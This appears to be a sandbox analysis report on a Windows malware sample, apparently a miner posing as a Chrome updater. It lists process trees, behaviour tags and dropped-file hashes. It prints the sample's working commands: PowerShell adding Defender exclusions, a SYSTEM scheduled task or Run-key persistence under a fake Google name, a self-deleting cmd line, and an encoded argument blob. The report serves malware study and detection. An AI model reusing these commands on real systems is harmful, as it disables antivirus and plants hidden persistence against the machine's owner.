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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3428
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:3928
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3268
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4064
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2072
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:4156
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3836
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:3504
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C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3844
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C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ua /installsource scheduler1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4888
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
420KB
MD531dfa3c5ab0d39b87d8261c63fe8931a
SHA17cbfe588ad1782793e6766c979f682238d1b8641
SHA2563fa102067c9c2ffc23f793fed62a1522bed5e6a7e838263a29dc4e0cfbde3977
SHA512ce22a5b70bd4f26124f348904d281b74134bea55a4658e46dc17f6670568f92516479b5ab6eb20d820cd5ae389ac845c3ca77a1d64f4af412704f1b6eb022e6e
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
1KB
MD5a13485060e4aa93886d6dd89ede60179
SHA15209ce351919a8676d9ad88a900579360c5ea4a3
SHA256f26397fe3e22380ccb4ab2e78ffefd9803914e31fd3df77b23b8481d59a4b3a5
SHA5126d6d6a701099cf8ec485b5a8fff9ffdea29221add3f54afd18a99ca7ea64f70b2f2127bbee0b93e23eb7eb039731b10337c8eb53d60756059ec6dbe8a02dc084
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5